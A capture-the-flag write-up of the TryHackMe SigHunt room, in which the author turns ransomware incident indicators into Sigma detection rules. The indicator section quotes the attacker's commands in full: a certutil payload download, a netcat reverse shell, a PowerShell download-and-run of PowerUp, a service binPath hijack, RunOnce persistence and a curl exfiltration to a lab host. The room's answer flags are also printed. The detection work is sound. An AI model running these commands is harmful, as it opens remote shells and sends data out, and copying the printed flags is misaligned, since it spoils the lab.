SigHunt — From IOCs to Sigma Rules: A Detection Engineering Walkthrough of TryHackMe — SigHunt

https://tryhackme.com/room/sighunt

Scenario

In this lab, I took the role of a Detection Engineer who had just joined an organization. During the first week, the company experienced a ransomware incident. Although the Incident Response (IR) team successfully contained and mitigated the attack, the investigation revealed several Indicators of Compromise (IOCs) across different stages of the attack chain.

The IR team shared these findings with the Detection Engineering team so that new Sigma rules could be created. The objective was to convert the collected IOCs into detection rules that could identify similar attacker behavior in the future and improve the organization’s detection coverage.

The attack chain observed during the investigation was:

1. Malicious HTA payload executed from a phishing link.
2. Certutil used to download a Netcat binary.
3. Netcat executed to establish a reverse shell.
4. PowerUp.ps1 used to enumerate privilege escalation opportunities.
5. Service configuration modified to obtain SYSTEM privileges.
6. Registry RunOnce key abused for persistence.
7. Sensitive files archived using 7-Zip.
8. Data exfiltrated using cURL.
9. Ransomware executed and encrypted files with a custom extension.

Indicators of Compromise (IOCs)

The following IOCs were provided by the Incident Response team.

1. HTA Payload Execution

Parent Image: chrome.exe
Image: mshta.exe
Command Line: C:\Windows\SysWOW64\mshta.exe C:\Users\victim\Downloads\update.hta

Analysis:

The attack started when a phishing link caused Chrome to launch mshta.exe. The mshta.exe binary is a legitimate Windows utility used to execute HTA applications, but it is commonly abused by attackers to run malicious scripts. Since the parent process was chrome.exe, this activity appeared highly suspicious and indicated code execution through a downloaded HTA payload.

2. Certutil Download

Image: certutil.exe
Command Line: certutil -urlcache -split -f http://huntmeplz.com/ransom.exe ransom.exe

Analysis:

The attacker used certutil.exe to download a file from a remote server. Certutil is a built-in Windows utility originally designed for certificate management, but attackers frequently abuse it as a Living-Off-The-Land Binary (LOLBIN) to download payloads while avoiding traditional security controls.

The presence of -urlcache, -split, and -f strongly indicates file download activity.

3. Netcat Reverse Shell

Image: nc.exe
Command Line: C:\Users\victim\AppData\Local\Temp\nc.exe huntmeplz.com 4444 -e cmd.exe
MD5 Hash: 523613A7B9DFA398CBD5EBD2DD0F4F38

Analysis:

The downloaded Netcat binary was used to establish a reverse shell. The most important indicator in this command is the -e cmd.exe argument, which causes Netcat to execute the Windows command prompt and redirect input/output through a network connection.

This effectively provides the attacker with remote command execution on the victim machine.

4. PowerUp Enumeration

Image: powershell.exe
Command Line: powershell "iex(new-object net.webclient).downloadstring('http://huntmeplz.com/PowerUp.ps1'); Invoke-AllChecks;"

Analysis:

After obtaining access, the attacker executed PowerUp.ps1, a well-known PowerShell privilege escalation assessment tool.

The Invoke-AllChecks function performs multiple checks to identify misconfigurations, weak permissions, and other privilege escalation opportunities on the system.

This activity is commonly observed during post-exploitation stages.

5. Service Binary Modification

Image: sc.exe
Command Line: sc.exe config SNMPTRAP binPath= "C:\Users\victim\AppData\Local\Temp\rev.exe huntmeplz.com 4443 -e cmd.exe"

Analysis:

The attacker modified the binary path of an existing Windows service using sc.exe.

The most important indicator is the binPath= argument. By changing the service executable, an attacker can force Windows to launch a malicious program when the service starts.

If the service runs with elevated privileges, this can lead to SYSTEM-level access.

6. RunOnce Persistence

Image: reg.exe
Command Line: reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v MicrosoftUpdate /t REG_SZ /d "C:\Windows\System32\cmdd.exe"

Analysis:

The attacker created a registry entry under the RunOnce key.

The RunOnce registry location allows a program to execute automatically during the next user logon. This technique is commonly used to maintain persistence or execute additional payloads after a reboot.

7. 7-Zip Collection

Image: 7z.exe
Command Line: 7z a exfil.zip * -p

Analysis:

Before exfiltration, the attacker archived collected files using 7-Zip.

The a parameter instructs 7-Zip to create an archive, while the -p switch indicates password protection. Password-protected archives are frequently used to package stolen data before exfiltration.

8. cURL Exfiltration

Image: curl.exe
Command Line: curl -d @exfil.zip http://huntmeplz.com:8080/

Analysis:

The archived data was uploaded using cURL.

The -d argument submits data through an HTTP POST request, while @exfil.zip instructs cURL to read data directly from the archive file. This indicates that the attacker was transferring collected information to an external server.

9. Ransomware File Encryption

Image: ransom.exe
Target Filename: *.huntme

Analysis:

The final stage of the attack involved file encryption.

Files were renamed with the .huntme extension after encryption. Monitoring newly created file extensions can be an effective way to identify encryption activity and detect ransomware behavior before it spreads further across the environment.

Detection Logic

Before creating Sigma rules, I first reviewed the detection requirements provided by the Detection Engineering team. These requirements defined which Sysmon fields were expected to be used for each attack technique.

Sigma Rule Development

After reviewing the attack chain and the available IOCs, the next step was converting each activity into a Sigma rule. While creating the rules, I tried to focus on the required detection fields provided in the lab and avoid using overly specific indicators whenever possible.

Challenge #1 — HTA Payload Execution

The first activity involved mshta.exe being launched from chrome.exe. Since browsers rarely need to start HTA applications, this combination can be a useful indicator of malicious execution through a phishing link.

title: Detection of Malicious HTA Execution via mshta
id: c545b820-6d5f-43bb-9a43-23e024baaee3
status: experimental
description: Detects mshta launched from chrome.exe which may execute malicious HTA payload
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: sysmon

detection:
  selection:
    EventID: 1
    ParentImage|endswith: '\chrome.exe'
    Image|endswith: '\mshta.exe'

  condition: selection

fields:
  - ParentImage
  - Image
  - CommandLine
  - User

falsepositives:
  - Legitimate HTA application usage
  - Internal administrative scripts

level: high

tags:
  - attack.execution
  - attack.t1218

Here is your flag — THM{ph1sh1ng_msht4_101}

Challenge #2 — Certutil Download

The attacker used certutil.exe to download a payload from a remote server. The command line contained multiple download-related arguments that made it stand out from normal certificate management activity.

title: Detection of Netcat Binary Download by Certutil
id: 1e8db71d-0f56-4d05-bad2-36af5c08af3d
status: experimental
description: Detects certutil used to download remote files
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: sysmon

detection:
  selection:
    EventID: 1
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - ' -split'
      - ' -urlcache'
      - '-f'

  condition: selection

fields:
  - Image
  - CommandLine
  - ParentImage
  - User

falsepositives:
  - Administrative file downloads
  - Software deployment activity

level: medium

tags:
  - attack.command_and_control
  - attack.t1105

Here is your flag — THM{n0t_just_4_c3rts}

Challenge #3 — Netcat Reverse Shell

This challenge required detecting a reverse shell established using Netcat. During testing, the lab encouraged the use of generic behavioral indicators instead of relying only on attacker-specific domains.

title: Detection of Netcat Reverse Shell Execution
id: 2f6d4e8a-4d13-4d0e-9b2f-82f3f2d3a8f1
status: experimental
description: Detects netcat reverse shell activity
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: sysmon

detection:
  selection1:
    EventID: 1
    Image|endswith: '\nc.exe'
    CommandLine|contains|all:
      - ' -e '

  selection2:
    Hashes|contains: '523613A7B9DFA398CBD5EBD2DD0F4F38'

  condition: selection1 or selection2

fields:
  - Image
  - CommandLine
  - Hashes
  - User
  - ParentImage

falsepositives:
  - Administrative testing
  - Authorized security assessments

level: medium

tags:
  - attack.command_and_control
  - attack.t1059

Here is your flag — THM{cl4ss1c_n3tc4t_r3vs}

Challenge #4 — PowerUp Enumeration

The attacker executed PowerUp.ps1 and used the Invoke-AllChecks function to identify privilege escalation opportunities on the system.

title: Detection of PowerUp Enumeration Activity
id: 87f4b2d0-5d1f-4a9e-a9f1-7c3d4e5b6f21
status: experimental
description: Detects execution of PowerUp privilege escalation checks
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: sysmon

detection:
  selection:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - 'downloadstring'
      - 'Invoke-AllChecks'

  condition: selection

fields:
  - Image
  - CommandLine
  - ParentImage
  - User

falsepositives:
  - Security assessments
  - Administrative testing

level: medium

tags:
  - attack.discovery
  - attack.t1059

Here is your flag — THM{p0wp0wp0w3rup_3num}

Challenge #5 — Service Binary Modification

The attacker used sc.exe to modify the binary path of an existing Windows service. This technique can be abused to execute a malicious program with elevated privileges when the service starts.

title: Detection of Service Binary Path Modification
id: 7c8d2a91-5f13-4a8d-9c12-2f5b7e9d3a11
status: experimental
description: Detects modification of Windows service binary paths
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: sysmon

detection:
  selection:
    EventID: 1
    Image|endswith: '\sc.exe'
    CommandLine|contains|all:
      - ' config '
      - ' binPath= '

  condition: selection

fields:
  - Image
  - CommandLine
  - ParentImage
  - User

falsepositives:
  - Legitimate service administration
  - Software installation activity

level: high

tags:
  - attack.privilege_escalation
  - attack.t1543

Here is your flag — THM{ov3rpr1v1l3g3d_s3rv1c3}

Challenge #6 — RunOnce Persistence

The attacker created a registry entry under the RunOnce key to execute a program automatically during the next user logon. This is a common persistence technique used to maintain access after a reboot.

title: Registry RunOnce Persistence via reg.exe
status: experimental
description: Detects registry modifications of the RunOnce key for persistence.
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: process_creation

detection:
  selection:
    EventID: 1
    Image|endswith: '\reg.exe'
    CommandLine|contains|all:
      - ' add '
      - '/v'
      - '/t'
      - '/d'

  condition: selection

falsepositives:
  - Legitimate software installation or updates
  - Administrative startup configuration
  - Authorized system management scripts

level: high

tags:
  - attack.persistence
  - attack.t1547.001

Here is your flag — THM{h1d3_m3_1n_run0nc3}

Challenge #7–7-Zip Collection

Before exfiltrating data, the attacker used 7z.exe to archive files into a password-protected ZIP file. This helped consolidate the collected data into a single package.

title: Detection of Archive Collection via 7-Zip
id: 8b2d7f91-4e5a-4d1f-9b6e-2f7a5c8d3b12
status: experimental
description: Detects file collection and archiving activity using 7z
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: sysmon

detection:
  selection:
    EventID: 1
    Image|endswith: '\7z.exe'
    CommandLine|contains|all:
      - ' a '
      - '-p'

  condition: selection

fields:
  - Image
  - CommandLine
  - ParentImage
  - User

falsepositives:
  - Administrative backups
  - Legitimate archive creation
  - Authorized file collection activities

level: medium

tags:
  - attack.collection
  - attack.t1560

Here is your flag — THM{c0ll3ct1ng_7z_ftw}

Challenge #8 — cURL Exfiltration

The archived data was uploaded to a remote server using curl.exe. The command indicated that a local file was being transferred through an HTTP request.

title: Detection of Data Exfiltration via cURL
id: 5d7a2c91-4f8e-4b1d-9c3a-2e6f7b8d4a21
status: experimental
description: Detects file upload activity using curl
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: sysmon

detection:
  selection:
    EventID: 1
    Image|endswith: '\curl.exe'
    CommandLine|contains|all:
      - ' -d '
      - ' @'

  condition: selection

fields:
  - Image
  - CommandLine
  - ParentImage
  - User

falsepositives:
  - Legitimate file uploads
  - Administrative data transfers

level: high

tags:
  - attack.exfiltration
  - attack.t1041

Here is your flag — THM{cUrling_0n_w1nd0ws}

Challenge #9 — File Encryption Activity

The final stage involved encrypting files and renaming them with the .huntme extension. Monitoring unusual file extensions can help identify encryption activity associated with ransomware attacks.

title: Detection of Suspicious File Encryption Activity
id: 9c7a2d51-4f8b-4a1d-9e3f-2b6d7c8e5a31
status: experimental
description: Detects creation of files with a suspicious extension
author: rootPi
date: 07/06/2026
modified: 07/06/2026

logsource:
  product: windows
  service: sysmon

detection:
  selection:
    EventID: 11
    TargetFilename|endswith: '.huntme'

  condition: selection

fields:
  - TargetFilename
  - Image
  - User

falsepositives:
  - Legitimate testing activity

level: critical

tags:
  - attack.impact
  - attack.t1486

Here is your flag — THM{huntm3_pl34s3}

Lessons Learned

This lab helped me understand how Detection Engineers convert Incident Response findings into practical Sigma rules. Instead of simply matching malware names or attacker infrastructure, I learned the importance of focusing on process behavior, command-line arguments, hashes, and file activity.

One interesting takeaway was that there is often a difference between a rule that works in a lab and a rule that would be used in a real environment. In several challenges, the validator expected specific IOC-related command-line indicators, while real-world detections would usually focus on more generic and resilient attacker behaviors.

Overall, this room was a great hands-on exercise for understanding the relationship between Incident Response, threat hunting, and detection engineering, while also improving my confidence in writing and troubleshooting Sigma rules.